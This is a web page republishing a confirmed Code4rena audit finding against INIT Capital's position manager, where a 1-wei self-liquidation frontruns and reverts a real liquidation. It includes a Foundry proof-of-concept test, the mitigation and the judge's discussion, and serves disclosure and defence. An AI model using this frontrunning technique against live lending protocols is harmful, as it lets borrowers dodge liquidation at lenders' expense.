Skip to content
Business logic Audit finding Advanced

Liquidations can be prevented by frontrunning and liquidating 1 debt (or more) due to wrong assumption in POS_MANAGER

The position manager incorrectly assumes that a pool's debt share to amount conversion always increases, but a liquidation can reduce the debt amount, causing subsequent debt share updates to revert. An attacker can frontrun a liquidation with a tiny self-liquidation of 1 wei, making the victim's liquidation transaction revert and preventing the liquidation.

0x73696d616f Follow

Originally disclosed on Code4rena

Submitted by 0x73696d616f

Users can avoid being liquidated if they frontrun liquidation calls with a liquidate call with 1 wei. Or, they may do a partial liquidation and avoid being liquidated before the interest reaches the value of the debt pre liquidation. The total interest stored in __posBorrInfos[_posId].borrExtraInfos[_pool].totalInterest would also be wrong.

Proof of Concept

The POS_MANAGER stores the total interest in __posBorrInfos[_posId].borrExtraInfos[_pool].totalInterest. Function updatePosDebtShares() assumes that ILendingPool(_pool).debtShareToAmtCurrent(currDebtShares) is always increasing, but this is not the case, as a liquidation may happen that reduces the current debt amount. This leads to calls to updatePosDebtShares() reverting.

The most relevant is when liquidating, such that users could liquidate themselves for small amounts (1) and prevent liqudiations in the same block. This is because the debt accrual happens over time, so if the block.timestamp is the same, no debt accrual will happen. Thus, if a liquidate call with 1 amount frontruns a liquidate call with any amount, the second call will revert.

A user could still stop liquidations for as long as the accrued interest doesn’t reach the last debt value before liquidation, if the user liquidated a bigger part of the debt.

Add the following test to TestInitCore.sol:

function test_POC_Liquidate_reverts_frontrunning_PosManager_WrongAssumption() public {
    address poolUSDT = address(lendingPools[USDT]);
    address poolWBTC = address(lendingPools[WBTC]);
    _setTargetHealthAfterLiquidation_e18(1, type(uint64).max); // by pass max health after liquidate capped
    _setFixedRateIRM(poolWBTC, 0.1e18); // 10% per sec

    uint collAmt;
    uint borrAmt;

    {
        uint collUSD = 100_000;
        uint borrUSDMax = 80_000;
        collAmt = _priceToTokenAmt(USDT, collUSD);
        borrAmt = _priceToTokenAmt(WBTC, borrUSDMax);
    }

    address liquidator = BOB;
    deal(USDT, ALICE, collAmt);
    deal(WBTC, liquidator, borrAmt * 2);

    // provides liquidity for borrow
    _fundPool(poolWBTC, borrAmt);

    // create position and collateralize
    uint posId = _createPos(ALICE, ALICE, 1);
    _collateralizePosition(ALICE, posId, poolUSDT, collAmt, bytes(''));

    // borrow
    _borrow(ALICE, posId, poolWBTC, borrAmt, bytes(''));

    // fast forward time and accrue interest
    vm.warp(block.timestamp + 1 seconds);
    ILendingPool(poolWBTC).accrueInterest();

    uint debtShares = positionManager.getPosDebtShares(posId, poolWBTC);

    _liquidate(liquidator, posId, 1, poolWBTC, poolUSDT, false, bytes(''));

    // liquidate all debtShares
    _liquidate(liquidator, posId, 1000, poolWBTC, poolUSDT, false, bytes('panic'));
}

Tools Used

Vscode, Foundry

Recommended Mitigation Steps

Update the user’s last debt position __posBorrInfos[_posId].borrExtraInfos[_pool].totalInterest on _repay().

fez-init (INIT) confirmed

hansfriese (Judge) commented:

After discussing internally with the sponsor/warden, we’ve confirmed the issue. Here is a part of the discussion:

“When it frontruns the liquidation with 1 share, it removes 1 share and 2 debt. When it calculates the amount again in the following liquidation, the shares will be worth 1 less and it reverts.”

As a mitigation, we can update extraInfo.totalInterest only when debtAmtCurrent > extraInfo.lastDebtAmt.

High is appropriate as the main invariant might be broken temporarily while repaying.


The original report as published on Code4rena, by 0x73696d616f. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A user could prevent their own liquidation by frontrunning with a tiny liquidation, and the stored total interest would also be wrong.

What the attacker needed

A position with debt; ability to frontrun a liquidation transaction

The fix

The total interest should be updated on repayment, and only when the current debt amount is greater than the last recorded debt amount.

How it was found

  1. Create a position and collateralize it.
  2. Borrow funds from a pool.
  3. Fast forward time and accrue interest.
  4. Liquidate a tiny amount (1 wei) of the debt.
  5. Attempt to liquidate the remaining debt, which reverts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a lending system, a user's debt is tracked in shares that convert to an amount. The code assumed this amount only goes up, but a liquidation can make it go down. By liquidating a tiny amount first, an attacker can make the next liquidation calculation fail, stopping the victim from being liquidated.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0x73696d616f

View all

172 more disclosed reports, best first.

More from INIT Capital Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.